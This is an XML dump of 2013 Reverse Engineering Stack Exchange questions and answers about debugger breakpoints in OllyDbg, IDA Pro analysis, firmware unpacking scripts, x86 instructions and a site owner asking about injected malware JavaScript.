  <row Id="2754" PostTypeId="1" CreationDate="2013-09-05T15:35:25.060" Score="-4" ViewCount="5020" Body="&lt;p&gt;In the process monitor, I see a &lt;code&gt;WriteFile&lt;/code&gt; operation. How can I set a breakpoint and view everything about this operation in OllyDbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not possible with OllyDbg, what other tools can I use?&lt;/p&gt;&#xA;" OwnerUserId="2756" LastEditorUserId="107" LastEditDate="2013-09-05T20:15:35.713" LastActivityDate="2013-09-05T20:15:35.713" Title="Set a breakpoint before WriteFile operation in OllyDbg" Tags="|windows|debuggers|ollydbg|" AnswerCount="1" CommentCount="0" ClosedDate="2013-09-06T15:15:41.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="2755" PostTypeId="2" ParentId="2754" CreationDate="2013-09-05T17:15:43.137" Score="4" Body="&lt;p&gt;From &lt;a href=&quot;http://www.ollydbg.de/faq.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ollydbg.de/faq.htm&lt;/a&gt; -&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;How can I set breakpoint on a call to API function, like MessageBoxA?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is very simple now. Either open command line (Alt+F1) and type &amp;quot;BPX MessageBoxA&amp;quot;, or search for all itermodular calls in&#xA;Disassembler, click on any call to MessageBoxA and set breakpoint on&#xA;every call to this function.&lt;/p&gt;&#xA;&lt;p&gt;If you are a happy owner of Windows NT,&#xA;2000 or XP, you can set breakpoint directly on the API function in&#xA;system DLL. Name window contains special menu item &amp;quot;breakpoint on&#xA;import&amp;quot;. In many cases, logging breakpoint that writes call arguments&#xA;to the log file is a good alternative to ordinary break.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2013-09-05T17:15:43.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2756" PostTypeId="1" CreationDate="2013-09-06T05:23:30.627" Score="8" ViewCount="3564" Body="&lt;p&gt;I am using Qemu with its internal GDB server to attach IDA Pro to an instance of Windows 8 x64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some problems to solve, because when I am connecting to the GDB server, I am just seeing a bunch of memory.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Detecting the &lt;code&gt;ntoskrnl.exe&lt;/code&gt; base address&lt;/li&gt;&#xA;&lt;li&gt;Finding all loaded modules in this bunch of memory&lt;/li&gt;&#xA;&lt;li&gt;and finally analysing the detected modules to get exported names and stuff like that&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I was able to solve the first parts with this &lt;a href=&quot;https://github.com/Cr4sh/IDA-VMware-GDB&quot; rel=&quot;nofollow&quot;&gt;script&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script tries to get the pdb information for each loaded module, but I want to get IDA to analyse the loaded modules themselves, as there are already all needed information in the PE header (I think). Is this possible with IDA or with IDAPython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I was able to set a module for every detected segment with these commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import module_info_t&#xA;current_module = module_info_t()&#xA;current_module.base = 0xFFFF...&#xA;current_module.size = 1234&#xA;current_module.name = &quot;ntoskrnl.exe&quot;&#xA;idaapi.add_virt_module(current_module)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if i activate &quot;Analyse module&quot; nothing happens.&#xA;Is it possible, that the PE header in memory is not complete?&lt;/p&gt;&#xA;" OwnerUserId="2772" LastEditorUserId="53" LastEditDate="2013-09-09T13:08:17.947" LastActivityDate="2013-09-23T22:50:21.650" Title="Getting IDAPro to analyse part of memory as PE-File" Tags="|ida|assembly|gdb|idapython|windows-8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2757" PostTypeId="1" CreationDate="2013-09-06T09:38:53.357" Score="2" ViewCount="581" Body="&lt;p&gt;My .php and .js files have been attacked twice in a month with some JavaScript code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After going through this &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1436/analyzing-highly-obfuscated-javascript&quot;&gt;similar thread&lt;/a&gt;, I ran the JavaScript code posted there and found &lt;a href=&quot;http://wepawet.iseclab.org/view.php?hash=0999668f7086099a2639201cb981bc8a&amp;amp;type=js&quot; rel=&quot;nofollow noreferrer&quot;&gt;this decoding result&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now there is 1 URL specified in the result. Could it possible that someone associated with that URL is the one who is injecting code in my files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already restored files with clean backup and changed my FTP password - which, according to my hosting provider, was being used to inject code into the files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on how to avoid future attacks?&lt;/p&gt;&#xA;" OwnerUserId="2775" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2013-09-07T07:10:25.797" Title="Decoding Malware javascript" Tags="|malware|javascript|deobfuscation|" AnswerCount="1" CommentCount="1" ClosedDate="2013-09-07T07:51:48.803" ContentLicense="CC BY-SA 3.0" />
  <row Id="2758" PostTypeId="2" ParentId="2757" CreationDate="2013-09-06T10:54:20.333" Score="4" Body="&lt;p&gt;Yes, the domain is owned (or pwned, they could have hacked a site and use that to stay under the radar) by the group / individual that has attacked you. To avoid future attacker review your code, secure your passwords and check on this every one and then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt;, this is very much off-topic. You want the Security Stack Exchange and not this one. This one is about reverse engineering, so if the question would have been about the javascript decoding you did visit the right SE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck with securing your server&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-09-06T10:54:20.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2759" PostTypeId="1" AcceptedAnswerId="3344" CreationDate="2013-09-06T12:49:29.167" Score="9" ViewCount="963" Body="&lt;p&gt;I have a .NET method which is marked as an &quot;Internal Call&quot;, meaning that it is implemented within the CLR itself. Is there any way to locate the code for and/or decompile such a method?&lt;/p&gt;&#xA;" OwnerUserId="2777" LastEditorUserId="2035" LastEditDate="2013-09-06T15:15:23.287" LastActivityDate="2014-01-03T08:47:56.553" Title="Decompile &quot;Internal Call&quot;" Tags="|decompilation|.net|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2760" PostTypeId="2" ParentId="2529" CreationDate="2013-09-06T21:49:38.013" Score="2" Body="&lt;p&gt;The answer lays within the comments, read Binary Diffing by Nicolas A. Economou (CoreImpact) 2009 to see why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Binary Diffing is in fact a way harder subject that does a lot more than compare bytes or bits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making a Binary Diff with objdump and meld is really not the way to go. Read the CoreImpact document and it will show some of the issues with binary diffing.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-09-06T21:49:38.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2761" PostTypeId="1" AcceptedAnswerId="2762" CreationDate="2013-09-06T21:52:23.350" Score="3" ViewCount="675" Body="&lt;p&gt;I've got a process that writes to a file (database). In process monitor I see &lt;code&gt;WriteFile&lt;/code&gt;. After this I see the file is about to be either written or updated (offset:length).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I reveal the content that is about to be written or updated in this file using Ollydbg?&#xA;Is there a tutorial or something similar? And how to specify the function on Ollydbg? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In process monitor, I see &lt;code&gt;WriteFile&lt;/code&gt;, but in Ollydbg, what is the function?&lt;/p&gt;&#xA;" OwnerUserId="2756" LastEditorUserId="107" LastEditDate="2013-09-07T07:10:04.480" LastActivityDate="2013-09-07T07:10:04.480" Title="How to view the content of a file before it is written?" Tags="|windows|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2762" PostTypeId="2" ParentId="2761" CreationDate="2013-09-06T22:05:16.770" Score="4" Body="&lt;p&gt;You can have a look at &lt;a href=&quot;http://www.woodmann.com/collaborative/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Woodmann&lt;/a&gt; or &lt;a href=&quot;http://tuts4you.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;tuts4you&lt;/a&gt; if you need tutorials. And if you want to see what is writes you will have to have where the pointers are stored for the function in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has a lot to do with calling conventions, &lt;a href=&quot;https://stackoverflow.com/questions/6511096/cdecl-or-stdcall-on-windows&quot;&gt;cdecl and stdcall&lt;/a&gt; and knowing about them is important for this..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to try to explain using the writeFile function.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How does WriteFile Work&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First we look at the WriteFile declaration (taken from &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSDN&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI WriteFile(&#xA;  _In_         HANDLE hFile,&#xA;  _In_         LPCVOID lpBuffer,&#xA;  _In_         DWORD nNumberOfBytesToWrite,&#xA;  _Out_opt_    LPDWORD lpNumberOfBytesWritten,&#xA;  _Inout_opt_  LPOVERLAPPED lpOverlapped&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when we assume that Windows has stdcall (win32api has). We can figure out where we can find the variables. (for more about the stdcall see &lt;a href=&quot;http://en.wikipedia.org/wiki/X86_calling_conventions#stdcall&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to our wikipedia article we a few things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The parameters are pushed onto the stack in right-to-left order&lt;/li&gt;&#xA;&lt;li&gt;Registers EAX, ECX, and EDX are designated for use within the function. &lt;/li&gt;&#xA;&lt;li&gt;Return values are stored in the EAX register.&lt;/li&gt;&#xA;&lt;li&gt;stdcall is the standard calling convention for the Microsoft Win32 API.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;This is great&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now we have everything we need to figure out where we can find the location of the information you need.&#xA;When a breakpoint is placed on the function call you'll know that all the variables are stored on the stsck. LPCVOID is a Pointer, all that is left is to follow it and read the data.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2013-09-06T22:15:33.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2763" PostTypeId="1" CreationDate="2013-09-07T00:40:28.013" Score="4" ViewCount="12620" Body="&lt;p&gt;I want to set a conditional breakpoint if the register is an unicode like &lt;code&gt;'m'&lt;/code&gt; or &lt;code&gt;'a'&lt;/code&gt; or &lt;code&gt;'2'&lt;/code&gt; using ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the latest version of Ollydbg '2.01'. &lt;code&gt;OllyStepNSearch&lt;/code&gt; plugin is used for this case but it is not compatible with the above version of Olly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="2756" LastEditorUserId="3041" LastEditDate="2013-12-18T14:08:55.870" LastActivityDate="2014-08-03T17:26:56.283" Title="How to set a conditional breakpoint on specific register value in OllyDbg?" Tags="|debuggers|ollydbg|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2764" PostTypeId="1" CreationDate="2013-09-07T05:01:43.500" Score="6" ViewCount="412" Body="&lt;p&gt;I have a program written in C++ with DirectX (as far as I know). The user interface has menus with buttons and other UI components. To automate a process I would like to find the function called by an event (eg. click on a specific button). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I identify such routines? Are there tools to help analyze and find those locations?&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2014-02-23T13:32:04.097" Title="How to find event functions called by UI components in a C++/DirectX program" Tags="|c++|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2765" PostTypeId="1" AcceptedAnswerId="2767" CreationDate="2013-09-07T10:57:26.763" Score="8" ViewCount="2048" Body="&lt;p&gt;I'm working on unpacking Hauwei E586 MiFi firmware. I downloaded firmware update pack which is available as Windows EXE, then used Hauwei Modem Flasher to unpack real firmware from installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got 4 files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01.bin: data&#xA;02.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped&#xA;03.bin: data&#xA;04.bin: ELF 32-bit LSB executable, ARM, version 1, statically linked, not stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see &lt;code&gt;02&lt;/code&gt; and &lt;code&gt;04&lt;/code&gt; are executable files. &lt;code&gt;01&lt;/code&gt; is probably some kind of bootloader (I assume it from string analysis). &lt;code&gt;03&lt;/code&gt; is some kind of pseudo FS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started from analyzing &lt;code&gt;03&lt;/code&gt; (I posted it &lt;a href=&quot;http://czlug.icis.pcz.pl/~pbm/03.bin&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is header part&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 00 EE EE  50 BA 6E 00  20 00 00 00  D0 A2 02 00&#xA;7B 02 00 00  00 00 00 00  00 00 00 00  00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;7B 02&lt;/code&gt; as 16 bits gives 635 which is number of files in binary (verified using &lt;code&gt;strings&lt;/code&gt;). Then there are 635 parts describing each file (call it directory) and at the end there is content of files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is directory entry for first GIF file which I found. I choosed GIF because it's easy to identify (there is header GIF8X and footer 0x3B).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;77 77 77 5C  75 6D 5C 70  75 62 6C 69  63 5F 73 79&#xA;73 2D 72 65  73 6F 75 72  63 65 73 5C  42 75 74 74&#xA;75 6E 5F 43  75 72 72 65  6E 74 2E 67  69 66 00 00&#xA;lot of zeros&#xA;18 22 11 00  10 02 00 00  00 00 00 00  00 00 FF EE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see its name: &lt;code&gt;www\um\public_sys-resources\Buttun_Current.gif&lt;/code&gt; and in last line there is offset of file in binary and file size, but I'm not really sure how to interpret this values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found first GIF after directory and extracted it manually (from header to footer) which gives me file of size 528 bytes, so reading &lt;code&gt;10 02&lt;/code&gt; as 16 bit unsigned gives me that number. I tried to treat &lt;code&gt;18 22&lt;/code&gt; as 16 bit unsigned to get offset, but it was different from offset that I manually read from file. Bu there was constant difference between offset and real offset of file of &lt;code&gt;1286864&lt;/code&gt;. So I created script for unpacking this binary (I'm getting offset and adding to it &lt;code&gt;1286864&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Script worked only partially. It recreated directory structure, but was able only to extract files in one particular directory (directory with GIF which I was using as reference). After check on different part of file it seems that offset of offset in different subdirectories is another that in this GIF directory. So, my guess is that I'm interpreting offset wrong (but treating it as 32 bits gives nothing useful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is unpack script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys, struct, os&#xA;&#xA;def main(args):&#xA;    outdir = args[1]&#xA;    f = open(args[0], 'rb')&#xA;    f2 = open(args[0], 'rb')&#xA;    header = f.read(32)&#xA;    print(len(header[16:]))&#xA;    number_of_files = struct.unpack(&quot;h&quot;, header[16:18])[0]&#xA;    print(number_of_files)&#xA;&#xA;    for i in range(number_of_files):&#xA;        body = f.read(272)&#xA;        file_, rest = body.split(b'\x00', 1)&#xA;        offset = struct.unpack(&quot;H&quot;, body[256:258])[0] + 1286864&#xA;        size = struct.unpack(&quot;H&quot;, body[260:262])[0]&#xA;        file_ = file_.decode(encoding='UTF-8').replace('\\', '/')&#xA;        dirname = os.path.join(outdir, os.path.dirname(file_))&#xA;        filename = os.path.basename(file_)&#xA;        print(filename, size, offset, dirname)&#xA;        try:&#xA;            os.makedirs(dirname)&#xA;        except OSError:&#xA;            pass&#xA;&#xA;        outfile = open(os.path.join(dirname, filename), &quot;wb&quot;)&#xA;        f2.seek(offset)&#xA;        outfile.write(f2.read(size))&#xA;        outfile.close()&#xA;&#xA;if __name__=='__main__':&#xA;    sys.exit(main(sys.argv[1:]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usage: &lt;code&gt;./script.py 03.bin output_directory&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: what I'm doing wrong? Maybe I should read some another data type as offset/size? Which one?&lt;/p&gt;&#xA;" OwnerUserId="2781" LastEditorUserId="2781" LastEditDate="2013-09-08T18:53:18.440" LastActivityDate="2014-03-06T12:02:48.733" Title="Hauwei E586 firmware" Tags="|file-format|firmware|embedded|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2766" PostTypeId="1" AcceptedAnswerId="2820" CreationDate="2013-09-07T20:34:50.727" Score="6" ViewCount="488" Body="&lt;p&gt;I am doing a research project where I want to look at apps that create or extends certain classes. For Android I am using the Androguard project which provide a large set of great tools for inspecting APK files and also comes with an API which I can use to extend it with my own code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there's anything similar available for iOS apps?&lt;/p&gt;&#xA;" OwnerUserId="2783" LastEditorUserId="189" LastEditDate="2013-09-08T13:10:17.053" LastActivityDate="2013-09-21T03:33:58.503" Title="AndroGuard equivalent for iOS" Tags="|tools|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2767" PostTypeId="2" ParentId="2765" CreationDate="2013-09-08T07:42:21.917" Score="5" Body="&lt;p&gt;I managed to solve problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First file in directory is &lt;code&gt;ZSP.bin&lt;/code&gt;. It doesn't matter if offset of this file is 16 or 32 bit because in both cases is 0. As I know where directory ends and first file after directory should be ZSP.bin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below there is last two lines of last directory entry and first line of which I suspected should be &lt;code&gt;ZSP.bin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 &#xA;FC 94 6D 00  53 25 01 00  00 00 00 00  00 00 FF EE&#xA;11 00 10 00  30 00 00 00  10 00 00 00  00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each directory entry ends with &lt;code&gt;FF EE&lt;/code&gt;, so I checked offset of next byte and assumed that it will be begin of &lt;code&gt;ZSP.bin&lt;/code&gt;. Offset of it was &lt;code&gt;0x2a2d0&lt;/code&gt;. Then I checked size of &lt;code&gt;ZSP.bin&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that where it is, but I didn't know if it is 16 bits or 32 bits (&lt;code&gt;B4 C3&lt;/code&gt; or &lt;code&gt;B4 C3 0C 00&lt;/code&gt;). When I added &lt;code&gt;B4 C3&lt;/code&gt; as 16 bits unsigned to my known offset &lt;code&gt;0x2a2d0&lt;/code&gt; I landed at address &lt;code&gt;0x36684&lt;/code&gt; which doesn't look like beginning of XML file (which is third in directory, but second one have 0 length). So I tried adding &lt;code&gt;0xcc3b4&lt;/code&gt; (32 bits value) to my offset, which gives me &lt;code&gt;0xf6684&lt;/code&gt; and at this address there was beginning of XML file... :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I modified my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset = struct.unpack(&quot;I&quot;, body[256:260])[0] + 172752&#xA;size = struct.unpack(&quot;I&quot;, body[260:264])[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After manual check of some random not binary files all of them were ok (proper begins and ends of HTML and XML, GIFs identified as GIFs)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, idea of checking first file in directory not this GIFs was first thought that got to my mind after I woke up... :)&lt;/p&gt;&#xA;" OwnerUserId="2781" LastActivityDate="2013-09-08T07:42:21.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2768" PostTypeId="2" ParentId="2765" CreationDate="2013-09-08T18:21:40.140" Score="5" Body="&lt;p&gt;I couldn't get a comment to format right .. so forgive this being a new reply.&#xA;Here is the header format:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset:length   description&#xA;-------------   -----------&#xA;0x00 : 4        unknown, probably 2 16-byte words for a version or file ID&#xA;0x04 : 4        size of the data block containing file data&#xA;0x08 : 4        unknown&#xA;0x0C : 4        offset to the data block&#xA;0x10 : 4        number of file entries&#xA;0x14 : 12       unknown / padding&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file header can be read using this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;size_of_data, offset_to_data, number_of_files = struct.unpack(&quot;&amp;lt; 4x L 4x L L 12x&quot;, header)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each file entry looks like:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset:length   description&#xA;-------------   -----------&#xA;0x000 : 256     file path&#xA;0x100 : 4       offset to file in data block&#xA;0x104 : 4       size of file data&#xA;0x108 : 8       unknown&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then for each file entry:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filepath, offset, size = struct.unpack(&quot;&amp;lt; 256s L L 8x&quot;, body)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The final offset for a file is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;offset = offset + offset_to_data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2741" LastActivityDate="2013-09-08T18:21:40.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2770" PostTypeId="1" AcceptedAnswerId="2772" CreationDate="2013-09-08T19:18:10.763" Score="3" ViewCount="4309" Body="&lt;p&gt;IDA autodetected some kind of offset like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     bx, word ptr (aSomeString+8)[di]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to set the base address to something else, like for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     bx, word ptr (glb_AnArray-6)[di]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because the pointer is actually a pointer to an array (of elements with size 6) that is indexed starting from 1. Bonus points if it's possible to transform it to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     bx, word ptr glb_AnArray[di+6]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the question is: How can I tell IDA to take a specific address as base?&lt;/p&gt;&#xA;" OwnerUserId="1449" LastActivityDate="2013-09-09T05:30:35.260" Title="How to manually set the base address of a pointer in IDA?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2772" PostTypeId="2" ParentId="2770" CreationDate="2013-09-09T05:30:35.260" Score="3" Body="&lt;p&gt;I believe &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; should be what you're looking for (highlight aSomeString before you press the key combo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use the menu &lt;code&gt;Edit&lt;/code&gt;-&gt;&lt;code&gt;Operand type&lt;/code&gt;-&gt;&lt;code&gt;Offset&lt;/code&gt;-&gt;&lt;code&gt;Offset user defined&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-09-09T05:30:35.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2774" PostTypeId="1" AcceptedAnswerId="2775" CreationDate="2013-09-09T19:50:13.730" Score="18" ViewCount="32644" Body="&lt;p&gt;I disassembled a file with OllyDbg and it had the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;REPNE SCAS BYTE PTR ES:[EDI]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does that exactly mean ?&lt;/p&gt;&#xA;" OwnerUserId="2641" LastEditorUserId="2641" LastEditDate="2013-09-09T20:14:59.827" LastActivityDate="2013-09-12T06:49:56.267" Title="What does the assembly instruction 'REPNE SCAS BYTE PTR ES:[EDI]'?" Tags="|assembly|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2775" PostTypeId="2" ParentId="2774" CreationDate="2013-09-09T20:15:26.900" Score="23" Body="&lt;p&gt;The &lt;code&gt;SCAS&lt;/code&gt; instruction is used to scan a string (&lt;code&gt;SCAS&lt;/code&gt; = SCan A String). It compares the content of the accumulator (&lt;code&gt;AL&lt;/code&gt;, &lt;code&gt;AX&lt;/code&gt;, or &lt;code&gt;EAX&lt;/code&gt;) against the current value pointed at by &lt;code&gt;ES:[EDI]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When used together with the &lt;code&gt;REPNE&lt;/code&gt; prefix (&lt;em&gt;REPeat while Not Equal&lt;/em&gt;), &lt;code&gt;SCAS&lt;/code&gt; scans the string searching for the first string element which is equal to the value in the accumulator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Intel manual (Vol. 1, p.231) says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The SCAS instruction subtracts the destination string element from the contents of the EAX, AX, or AL register (depending on operand length) and updates the status flags according to the results. The string element and register contents are not modified. The following “short forms” of the SCAS instruction specify the operand length: SCASB (scan byte string), SCASW (scan word string), and SCASD (scan doubleword string).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, basically, this instruction scan a string and look for the same character than the one stored in &lt;code&gt;EAX&lt;/code&gt;. It won't touch any registers other than ECX (counter) and EDI (address) but the status flags according to the results.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="1323" LastEditDate="2013-09-11T17:37:31.170" LastActivityDate="2013-09-11T17:37:31.170" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2776" PostTypeId="2" ParentId="2522" CreationDate="2013-09-09T20:18:52.443" Score="4" Body="&lt;p&gt;Despite being an afternoon hack, &lt;a href=&quot;https://github.com/pgoodman/Python-Binary-Instrumenter&quot; rel=&quot;nofollow&quot;&gt;this static binary instrumenter&lt;/a&gt; might get you part way there. However, consider these crucial limitations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's not dynamic insofar as it runs at compile time, not at runtime.&lt;/li&gt;&#xA;&lt;li&gt;It is also not comprehensive, in the sense that shared and dynamically loaded libraries will not be instrumented by this.&lt;/li&gt;&#xA;&lt;li&gt;It provides no mechanisms for maintaining state, except by linking in your own code (exampled in the &lt;code&gt;gc&lt;/code&gt; directory and &lt;code&gt;Makefile&lt;/code&gt;). There isn't a good way of connecting instrumentation to that code, except by perhaps declaring and using an &lt;code&gt;extern&lt;/code&gt; symbol whose mangled name you know.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;BUT, it is in python ;-)&lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2013-09-09T20:18:52.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2778" PostTypeId="1" AcceptedAnswerId="2779" CreationDate="2013-09-10T09:12:17.270" Score="1" ViewCount="2572" Body="&lt;p&gt;How can I detect whether an application is using anti-debug techniques? I'm using OllyDbg (2.01beta).&lt;/p&gt;&#xA;" OwnerUserId="2799" LastEditorUserId="1406" LastEditDate="2013-09-11T00:21:20.993" LastActivityDate="2013-09-11T00:21:20.993" Title="How can I tell if an app is using anti-debug techniques?" Tags="|ollydbg|anti-debugging|" AnswerCount="1" CommentCount="3" ClosedDate="2013-09-11T09:44:22.017" ContentLicense="CC BY-SA 3.0" />
